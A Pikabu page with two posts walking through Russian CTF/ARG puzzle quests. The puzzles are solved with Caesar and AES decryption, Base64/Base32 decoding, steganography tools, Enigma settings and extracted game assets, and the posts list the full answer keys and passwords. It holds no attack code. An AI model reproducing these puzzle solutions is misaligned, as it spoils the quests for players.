Попадаем на страницу со странным изображением и не менее странным текстом. Подсказка в названии уровня. "Что в коробке?" Сохраняем картинку, видим, что у неё расширение .jpg

Гуглим как спрятать что-то в картинку. Узнаём, что можно склеить zip-архив и jpg-картинку. Пробуем изменить расширение на .zip. Открываем архив, видим текстовый файл с подсказкой, что ключ для следующего уровня равен 13. И саму ссылку на следующий уровень:

2hash.ru/ctf/57564c24fc5eb9088ad032c12ccb4394
#0001. ARG, CTF, IT-квесты. Для начинающих Arg, Ctf, Длиннопост

Читаем название уровня и описание. Думаем. Видим строчку с тарабарщиной. Понимаем, что речь идёт о шифре Цезаря. Ключ=сдвиг=13. Гуглим онлайн-дешифровщик этого метода. Тут надо заострить ваше внимание на инструментах. Если играем в русскую версию, то, соответственно, нужно искать дешифровщик кириллицы, например

https://calculatorium.ru/cryptography/caesar-cipher.

Если же играем на английском, то тут понадобится "швейцарский нож", отлично

себя зарекомендовавший у игроков CTF. Речь идёт о сайте https://www.dcode.fr/

#0001. ARG, CTF, IT-квесты. Для начинающих Arg, Ctf, Длиннопост

Он изначально на французском, но есть встроенная функция выбора языка. Пишем в строке поиска слово "caesar", вставляем в большое пустое поле нашу тарабарщину, жмём кнопку, находящуюся ниже. В поле слева видим расшифрованное послание. Причём первый столбец - сдвиг, второй - расшифрованное сообщение. На этом прервусь, дальше пробуйте сами.

Если застрянете - в комментах дам наводку на прохождение.


Удачи!

Показать полностью 4
[моё] Arg Ctf Длиннопост
2
19
MaxSholts
2 года назад
Информационная безопасность IT

Сложный ARG квест для IT-шников, в котором ты не участвовал. (Часть 3 — финал)⁠⁠

Это было сложно!.. Вот что можно сказать по итогу квеста от NoobGameDev. Нам удалось его пройти лишь спустя почти 3 недели. Механизм остановлен - кот спасён. А теперь поподробнее.


Это третий пост по данному квесту, поэтому сразу порекомендую ознакомиться с предыдущими: Часть 1, Часть 2. А так же с оригинальной новостью от автора.


В прошлой части мы остановились на том, что нашли в видео сообщение, зашифрованное азбукой Морзе, которое привело нас к странице с Коржиком из Улицы Сезам, который говорил "OMMM NOM NOM NOM".

Сложный ARG квест для IT-шников, в котором ты не участвовал. (Часть 3 — финал) Игры, Загадка, Головоломка, Информационная безопасность, Arg, Ctf, IT, Шифр, Криптография, Стеганография, Web-программирование, Web, Логика, Ребус, Квест, Шифрование, Гифка, Длиннопост

Мы так же нашли на странице форму ввода и куку "Monster" со значением: 0DF5B38B2D4B4BBEA13D626CA7C6D4A3366EB07F3C594C9179BE0D34F8832B36

Сложный ARG квест для IT-шников, в котором ты не участвовал. (Часть 3 — финал) Игры, Загадка, Головоломка, Информационная безопасность, Arg, Ctf, IT, Шифр, Криптография, Стеганография, Web-программирование, Web, Логика, Ребус, Квест, Шифрование, Гифка, Длиннопост

Спустя какое-то время, благодаря огромной подсказке на маркерной доске, мы поняли, что в куки находится сообщение в HEX формате, зашифрованное при помощи AES алгоритма, а фраза "OMMM NOM NOM NOM" оказалась 128-мибитным ключом.

Сложный ARG квест для IT-шников, в котором ты не участвовал. (Часть 3 — финал) Игры, Загадка, Головоломка, Информационная безопасность, Arg, Ctf, IT, Шифр, Криптография, Стеганография, Web-программирование, Web, Логика, Ребус, Квест, Шифрование, Гифка, Длиннопост

При дешифровке получалась строка в стандарте Base64: "dmVyeSBnb29kIGNvbXJhZGU=", которая, в свою очередь, при декодировании превратилась в строку "very good comrade". Именно эту фразу необходимо было ввести в поле ввода. После этого Коржик поздравлял нас и просил дать ему пятюню.

Сложный ARG квест для IT-шников, в котором ты не участвовал. (Часть 3 — финал) Игры, Загадка, Головоломка, Информационная безопасность, Arg, Ctf, IT, Шифр, Криптография, Стеганография, Web-программирование, Web, Логика, Ребус, Квест, Шифрование, Гифка, Длиннопост

После этого нас перенаправило на очередной сайт, с казалось бы просто чёрным фоном. И поначалу мы даже подумали, что что-то не подгрузилось или произошёл какой-то сбой. Но после того как мы забрались в код страницы, то поняли, что фоновое изображение залито не всплошную, а имеет вырезанные участки.

Сложный ARG квест для IT-шников, в котором ты не участвовал. (Часть 3 — финал) Игры, Загадка, Головоломка, Информационная безопасность, Arg, Ctf, IT, Шифр, Криптография, Стеганография, Web-программирование, Web, Логика, Ребус, Квест, Шифрование, Гифка, Длиннопост

Если помните из предыдущей части мы восстановили обрезанный участок изображения с барбером и нашли страницу, очень сильно похожую на звёздное небо, поэтому решение этой задачи не заставило долго ждать - мы просто наложили вытащенный фон на карту неба и у нас остались лишь два созвездия: орла и льва. И после недолгих раздумий был подобран верный пароль - Грифон.

Сложный ARG квест для IT-шников, в котором ты не участвовал. (Часть 3 — финал) Игры, Загадка, Головоломка, Информационная безопасность, Arg, Ctf, IT, Шифр, Криптография, Стеганография, Web-программирование, Web, Логика, Ребус, Квест, Шифрование, Гифка, Длиннопост

После ввода пароля, на короткий промежуток времени появлялось очередное "именование" и... ничего не происходило. Но подождав какое-то время, проявлялось знаменитое изображение с Морихэем Уэсиба (создателем айкидо, которого ошибочно называют Конфуцием).

Сложный ARG квест для IT-шников, в котором ты не участвовал. (Часть 3 — финал) Игры, Загадка, Головоломка, Информационная безопасность, Arg, Ctf, IT, Шифр, Криптография, Стеганография, Web-программирование, Web, Логика, Ребус, Квест, Шифрование, Гифка, Длиннопост

Через пару минут нам удалось распознать и перевести текст, в котором упоминались: подсказки кудрявого и городского героя, а так же алгоритм и ключ, который можно спросить у лиса Клайда.

Сложный ARG квест для IT-шников, в котором ты не участвовал. (Часть 3 — финал) Игры, Загадка, Головоломка, Информационная безопасность, Arg, Ctf, IT, Шифр, Криптография, Стеганография, Web-программирование, Web, Логика, Ребус, Квест, Шифрование, Гифка, Длиннопост

Кудрявыми подсказчиками были либо Шерлок, либо Цукерберг, городской герой - отрывок из мультфильма "Город героев", а вот с лисом Клайда был ступор. В добавок ко всему у русского языка есть удивительная способность к толкованию вне контекста... Поэтому мы пытались понять, кто именно нам нужен: Клайд у которого есть лис, либо лис по имени Клайд. В итоге каким-то чудом нам удалось узнать, что Клайд - это имя логотипа Дискорда, а перейдя на основной сервер организатора, мы нашли и лиса - Juniper Bot. И, спустя некоторое время перебора префиксов и команды, введя в канал сообщение "?key", мы получили ключ. При этом бот удалял верную команду и на пару секунд показывал нужный нам ключ.

Сложный ARG квест для IT-шников, в котором ты не участвовал. (Часть 3 — финал) Игры, Загадка, Головоломка, Информационная безопасность, Arg, Ctf, IT, Шифр, Криптография, Стеганография, Web-программирование, Web, Логика, Ребус, Квест, Шифрование, Гифка, Длиннопост

Ключ был очередным набором цифр - 97294172474890016071804703


К этому времени на доске детектива уже становилось понятно, что вордовский документ - это не только штрих-код, и что непонятные наборы цифр в нём мы должны расшифровать используя другой непонятный набор цифр - ключ, который выдал бот.

Сложный ARG квест для IT-шников, в котором ты не участвовал. (Часть 3 — финал) Игры, Загадка, Головоломка, Информационная безопасность, Arg, Ctf, IT, Шифр, Криптография, Стеганография, Web-программирование, Web, Логика, Ребус, Квест, Шифрование, Гифка, Длиннопост

Для решения этой загадки нам недоставало лишь алгоритма. Но к этому времени, один из участников сложил несколько фактов и у нас родилась новая версия. В показанном отрывке из фильма "Социальная сеть" говорилось о том, что алгоритм записан на окне спальни. И приглядевшись к изображению окна в сцене с котом мы обнаружили нечто похожее на записи.

Сложный ARG квест для IT-шников, в котором ты не участвовал. (Часть 3 — финал) Игры, Загадка, Головоломка, Информационная безопасность, Arg, Ctf, IT, Шифр, Криптография, Стеганография, Web-программирование, Web, Логика, Ребус, Квест, Шифрование, Гифка, Длиннопост

После этого возникла мысль покопаться в файлах игровой сцены. Не знаю почему мы не подумали об этом раньше. Необходимый файл с данными игры мы обнаружили в консоли https://noobgamedev.xyz/quest/Build/SaveCatGzip.data, и при помощи программы AssetStudioGUI извлекли ассеты из игры. Мы искали окно из скриншота, чтобы получше его рассмотреть, но при этом нашли и ключ, который, видимо, необходим для сейфа, потому что замочная скважина на нём требует загрузки изображения.

Сложный ARG квест для IT-шников, в котором ты не участвовал. (Часть 3 — финал) Игры, Загадка, Головоломка, Информационная безопасность, Arg, Ctf, IT, Шифр, Криптография, Стеганография, Web-программирование, Web, Логика, Ребус, Квест, Шифрование, Гифка, Длиннопост

Но мы так же нашли и окно, на котором был нарисован алгоритм и написан сам метод (на C#), при помощи которого было зашифровано сообщение.

Сложный ARG квест для IT-шников, в котором ты не участвовал. (Часть 3 — финал) Игры, Загадка, Головоломка, Информационная безопасность, Arg, Ctf, IT, Шифр, Криптография, Стеганография, Web-программирование, Web, Логика, Ребус, Квест, Шифрование, Гифка, Длиннопост

Один из участников довольно быстро в этом разобрался и написал метод декодирования. Однако при вставке всего текста или отдельной строки возникала ошибка. Но так как был реализован и метод кодирования, то мы обратили внимание на то, что между символами в определённом порядке расставляются "-": в начале строки после первых 2-х символов, а дальше через каждые 4 символа.

Сложный ARG квест для IT-шников, в котором ты не участвовал. (Часть 3 — финал) Игры, Загадка, Головоломка, Информационная безопасность, Arg, Ctf, IT, Шифр, Криптография, Стеганография, Web-программирование, Web, Логика, Ребус, Квест, Шифрование, Гифка, Длиннопост

Немного преобразовав строки удалось получить вменяемый результат - каждая отдельная строка в расшифрованном виде представляла из себя один символ. И в итоге получилась ссылка: https://ngdquest.ru/xp7cpbxyqae026sf3ta3seaix4qn54h3k7wupc6xstxpac


При переходе по ней происходил редирект к изображению на Google Диске. И так как с изображениями в предыдущих частях мы уже сталкивались, то сперва проверили картинку в программе Stegsolve и обнаружили скрытую надпись "Silent Eye" - это программа для сокрытия данных в изображениях (с ней в квесте мы уже "работали"- она оставляет на картинке видные под фильтрами точки).

Сложный ARG квест для IT-шников, в котором ты не участвовал. (Часть 3 — финал) Игры, Загадка, Головоломка, Информационная безопасность, Arg, Ctf, IT, Шифр, Криптография, Стеганография, Web-программирование, Web, Логика, Ребус, Квест, Шифрование, Гифка, Длиннопост

Текст на картинке, в переводе с японского, означает "С днём рождения, самурай". После перевода этой фразы сомнения по поводу азбуки Морзе отпали автоматически - мы поняли, что это формат ввода даты для доступа к скрытой информации. Источник есть, программа есть, оставалось только выяснить дату, и так как на этот момент мы уже раздобыли намёк на Амидамару (духа самурая из аниме Shaman King), то мы узнали дату его рождения - 06.01.1385 г. Она и оказалась ключом.

Сложный ARG квест для IT-шников, в котором ты не участвовал. (Часть 3 — финал) Игры, Загадка, Головоломка, Информационная безопасность, Arg, Ctf, IT, Шифр, Криптография, Стеганография, Web-программирование, Web, Логика, Ребус, Квест, Шифрование, Гифка, Длиннопост

В результате мы получили сообщение "A2GD5DAW", которое напоминало все те "имена", которые мы находили ранее (поэтому мы записали и само "имя" и место, где его нашли).


К этому моменту, опираясь на доску детектива мы прошли уже все ветки - оставались только сейф и механизм.


В прошлой части я говорил, что мы нашли коды для Энигмы, которыми было зашифровано сообщение в первом дисплее механизма. Код менялся каждый день, и каждый день нам приходилось брутфорсить зашифрованные фразы (благо это были пословицы или поговорки на английском), потому что нам удавалось расшифровывать только первое слово в сообщении. Но мы продолжали изучать Энигму и в Википедии обнаружили пару абзацев, согласно которым, продолжительный период во время Войны, для повышения уровня безопасности, использовался следующий алгоритм: оператор брал установки на день из известного всем шифровальщикам списка, после этого выбирал любой код, который ему хотелось, прописывал его и менял положение роторов в соответствии с тремя первыми буквами введённого им слова, и основное сообщение зашифровывал уже по своему коду. В итоге получалось 2 слоя шифровки. Узнав этот факт, мы попробовали первые три буквы расшифрованных имён в качестве стартовой позиции роторов и таким образом научились расшифровывать и вторую часть сообщений. Но это всего лишь упростило ситуацию с первым дисплеем, но в целом ничего нового не принесло - по прежнему оставалось ещё 3 дисплея.


На листке, прикреплённом к механизму, подсказкой ко второму дисплею было слово "Congratuletions" (Поздравления), и так как мы совсем недавно поздравляли Амидамару с ДР, то догадались, что код, полученный из изображения торта ("A2GD5DAW"), являлся ключом для второго дисплея.


А вот подсказкой к третьему дисплею было "Сейф..." . Поэтому все остатки своих сил мы бросили на открытие сейфа, который без неожиданного упрощения, мы бы скорей всего до сих пор пытались бы открыть. Как я уже говорил в предыдущей части, основной сложностью сейфа являлся ввод сразу трёх ключей. И это при том, что мы не были уверены в каждом из них.

Сложный ARG квест для IT-шников, в котором ты не участвовал. (Часть 3 — финал) Игры, Загадка, Головоломка, Информационная безопасность, Arg, Ctf, IT, Шифр, Криптография, Стеганография, Web-программирование, Web, Логика, Ребус, Квест, Шифрование, Гифка, Длиннопост

В итоге автор, видимо, решил, что квест пора заканчивать и на маркерной доске появилось сообщение, согласно которому, преступник понизил уровень безопасности сейфа, для того чтобы перераспределить потребление мощности, в результате чего механизм начал работать быстрее. После этого сообщения мы обнаружили, что теперь с сейфом есть обратная связь - мы стали получать ответ на отправленные ключи в формате "0 no/yes no/yes no/yes". Это очень сильно упрощало нам задачу, вместо подбора сразу трёх верных ключей, мы могли сосредоточиться на каком-то одном и по по очереди подобрать все три. Этим мы и занялись.

Сложный ARG квест для IT-шников, в котором ты не участвовал. (Часть 3 — финал) Игры, Загадка, Головоломка, Информационная безопасность, Arg, Ctf, IT, Шифр, Криптография, Стеганография, Web-программирование, Web, Логика, Ребус, Квест, Шифрование, Гифка, Длиннопост

Картинка ключа, которую мы достали из файлов игры сражу же дала нам один "yes" из трёх.


Следующим нам покорился лимбовый замок. По телевизору в сцене с котом очень часто проигрывался эпизод из фильма "Ограбление по итальянски", в котором героиня Шарлиз Терон взламывала как раз-таки сейф с подобным замком. Особо отважные участники квеста посмотрели фильм полностью и нашли данный фрагмент. Попытка монтажёра сделать из довольно скучной сцены динамичную вызывала проблемы с пониманием последовательности введённых чисел. Но на маркерной доске появилась ещё одна подсказка. Спустя время мы поняли что DUD - это Down Up Down, т.е. направление вращения колеса мышки. И, собрав в кучу все эти обрывки информации, спустя множество попыток подбора, нам удалось получить второй "yes" от сейфа. 7-17-51, такова верная комбинация для лимбового замка (до 7 по часовой, до 17 против часовой, и до 51 по часовой).

Сложный ARG квест для IT-шников, в котором ты не участвовал. (Часть 3 — финал) Игры, Загадка, Головоломка, Информационная безопасность, Arg, Ctf, IT, Шифр, Криптография, Стеганография, Web-программирование, Web, Логика, Ребус, Квест, Шифрование, Гифка, Длиннопост

Последним оставался цифровой кодовый замок. У нас уже была последовательность добытая в честном бою в реплике Flappy Bird, к тому же она отображалась на доске детектива: "3-8-9-6-4-1-2-7-5-6-4-9-0-0-7-5-2-2-4-9-1-7-5-9-0-4-6-1-7-5-2-1-0-4-9-3-8". В видео-подсказке Стетхем говорил о большом длинном числе с тройками, восьмёрками, семёрками и пятёрками, а так же о том, что данное "число" является шифром от сейфа. Поэтому сомнений, что это связано с цифровым замком практически не было. Однако, ввести было необходимо 5 групп цифр по 7 символов в каждой группе (35 цифр). В нашей же последовательности было 37 цифр. Сначала мы откинули "3 и 8" с начала, потом "3 и 8" с конца... В итоге, последовательность становилась верной, если откинуть от неё 3-ку с начала и 8-ку с конца: 8964127 - 5649007 - 5224917 - 5904617 - 5210493.


После ввода трёх верных ключей происходит переход на страницу с открытым сейфом, и если вы открыли сейф впервые, то появится форма ввода никнейма, который будет записан на дверце сейфа. Так же для всех тех, кто открыл сейф не первым, будет показана записка с ником участника, открывшим сейф первым.

Сложный ARG квест для IT-шников, в котором ты не участвовал. (Часть 3 — финал) Игры, Загадка, Головоломка, Информационная безопасность, Arg, Ctf, IT, Шифр, Криптография, Стеганография, Web-программирование, Web, Логика, Ребус, Квест, Шифрование, Гифка, Длиннопост

Однако, у открывшего сейф первым, записка была немного другая (спасибо @NoobGameDev, за предоставленное изображение)

Сложный ARG квест для IT-шников, в котором ты не участвовал. (Часть 3 — финал) Игры, Загадка, Головоломка, Информационная безопасность, Arg, Ctf, IT, Шифр, Криптография, Стеганография, Web-программирование, Web, Логика, Ребус, Квест, Шифрование, Гифка, Длиннопост

Как видно, в сейфе был спрятан бумажный биткоин-кошелёк с, цитирую: "небольшим, но приятным вознаграждением".


Немного погрустив, мы продолжили) На дверце сейфа была запись "for stopped expiremen - stopplaesestopyes". Это, очевидно, и был тот самый ключ для третьего дисплея, но только его пришлось написать заглавными буквами и на русском, т.е. "СТОППОЖАЛУЙСТАСТОПДА". Довольно иронично.

Сложный ARG квест для IT-шников, в котором ты не участвовал. (Часть 3 — финал) Игры, Загадка, Головоломка, Информационная безопасность, Arg, Ctf, IT, Шифр, Криптография, Стеганография, Web-программирование, Web, Логика, Ребус, Квест, Шифрование, Гифка, Длиннопост

После этого мы вышли на "финишную прямую" - оставался всего один дисплей механизма. И подсказкой к нему была матрица чисел, а на доске детектива была запись "Вернуться в начало?". Мы догадались, что это намёк на изображение с 15-ю картинками в стартовом видео. У нас были все необходимые имена, но, видимо, из-за усталости мы довольно долго пыхтели над порядком этих частей фразы.

Сложный ARG квест для IT-шников, в котором ты не участвовал. (Часть 3 — финал) Игры, Загадка, Головоломка, Информационная безопасность, Arg, Ctf, IT, Шифр, Криптография, Стеганография, Web-программирование, Web, Логика, Ребус, Квест, Шифрование, Гифка, Длиннопост

В итоге всё оказалось проще, чем мы думали. И порядок частей оказался следующим:


1. Наушники - 2CQ5BP6 - имя файла из страницы в даркнете.

2. Книга - QWDIYDU - описание файла в свойствах архива с книгой Гарри Поттера.

3. Медведи - FY2CY5B - появляющийся код на странице со созвездиями.

4. GPS - PRA2CZND - имя файла в котором координаты указывали на решение.

5. Тег - AOQWXIL - один из тегов .mp3 файла из ВК.

6. Штрих-код - YIGQW7ILA - название вордовского документа.

7. Змея - IGRQLIL4LB - код выдавался в Змейке тому, кто займёт первое место.

8. Амидамару - A2GD5DAW - часть, паролем к которой была дата рождения Амидамару.

9. Ножницы - QXYQNBP6 - имя изображения с барбером.

10. Печенье - QX3IYHU - часть, в комментариях страницы с зашифрованными cookie.

11. Матрёшка - MH2CYN - имя файла изображения с матрёшками.

12. Птица - DAORQLIL - часть, в комментариях веб-страницы с Flappy Bird.

13. Шелдон - FUF62CZN - часть ссылки в ветке начатой с сообщения на клингонском.

14. Лук - BMGQXPIL - заголовок веб-страницы в даркнете.

15. YouTube - QII= - надпись над монитором в видео на YouTube.


Т.е. финальная фраза оказалась следующей: 2CQ5BP6QWDIYDUFY2CY5BPRA2CZNDAOQWXILYIGQW7ILAIGRQLIL4LBA2GD5DAWQXYQNBP6QX3IYHUMH2CYNDAORQLILFUF62CZNBMGQXPILQII=


Это оказалась запись в Base32, а после расшифровки получилось "Спасибо всем, за то, что поучаствовали!".

Сложный ARG квест для IT-шников, в котором ты не участвовал. (Часть 3 — финал) Игры, Загадка, Головоломка, Информационная безопасность, Arg, Ctf, IT, Шифр, Криптография, Стеганография, Web-программирование, Web, Логика, Ребус, Квест, Шифрование, Гифка, Длиннопост

Это и был ключ для 4-го дисплея и ко всему механизму. После этого механизм был остановлен, а кот покинул клетку. Но как позже выяснилось сделать это он мог и без нашего вмешательства. А всё это был эксперимент по испытанию новой модели мультиварки. Такие дела)

Сложный ARG квест для IT-шников, в котором ты не участвовал. (Часть 3 — финал) Игры, Загадка, Головоломка, Информационная безопасность, Arg, Ctf, IT, Шифр, Криптография, Стеганография, Web-программирование, Web, Логика, Ребус, Квест, Шифрование, Гифка, Длиннопост

Заключение


Огромная работа, классные воспоминания и эмоции, интересные и сложные загадки... Многие участники отмечали, что узнали что-то новое о методах сокрытия и шифровки информации, кто-то изучил Энигму и посмотрел за время квеста несколько фильмов, которые бы никогда и не подумал смотреть, а кто-то даже вспомнил, что на небе существуют звёзды и ловил какие-то приятные детские эмоции.


Лично от себя могу сказать, что я благодарен NoobGameDev, за то, что целых 3 недели в такое не простое время, мои мысли были только в квесте, и я почти не думал ни о чём другом. А когда всё закончилось, то я даже испытал приятное облегчение и чувство, что все мои мысли испарились, а разум как будто бы на мгновение очистился.


Считаю, что мы должны поддерживать подобные познавательные и затягивающие проекты, поэтому оставлю ссылку на ютуб-канал и на дискорд-сервер автора квеста. А так же огромное спасибо всем вам за прочтение и хорошие оценки данных статей. Удачи)

Показать полностью 24
[моё] Игры Загадка Головоломка Информационная безопасность Arg Ctf IT Шифр Криптография Стеганография Web-программирование Web Логика Ребус Квест Шифрование Гифка Длиннопост
0
Посты не найдены
О Нас
О Пикабу
Контакты
Реклама
Сообщить об ошибке
Сообщить о нарушении законодательства
Отзывы и предложения
Новости Пикабу
RSS
Информация
Помощь
Кодекс Пикабу
Награды
Команда Пикабу
Бан-лист
Конфиденциальность
Правила соцсети
О рекомендациях
Наши проекты
Блоги
Работа
Промокоды
Игры
Скидки
Курсы
Зал славы
Mobile
Мобильное приложение
Партнёры
Промокоды Biggeek
Промокоды Маркет Деливери
Промокоды Яндекс Путешествия
Промокоды М.Видео
Промокоды в Ленте Онлайн
Промокоды Тефаль
Промокоды Сбермаркет
Промокоды Спортмастер
Постила
Футбол сегодня
На информационном ресурсе Pikabu.ru применяются рекомендательные технологии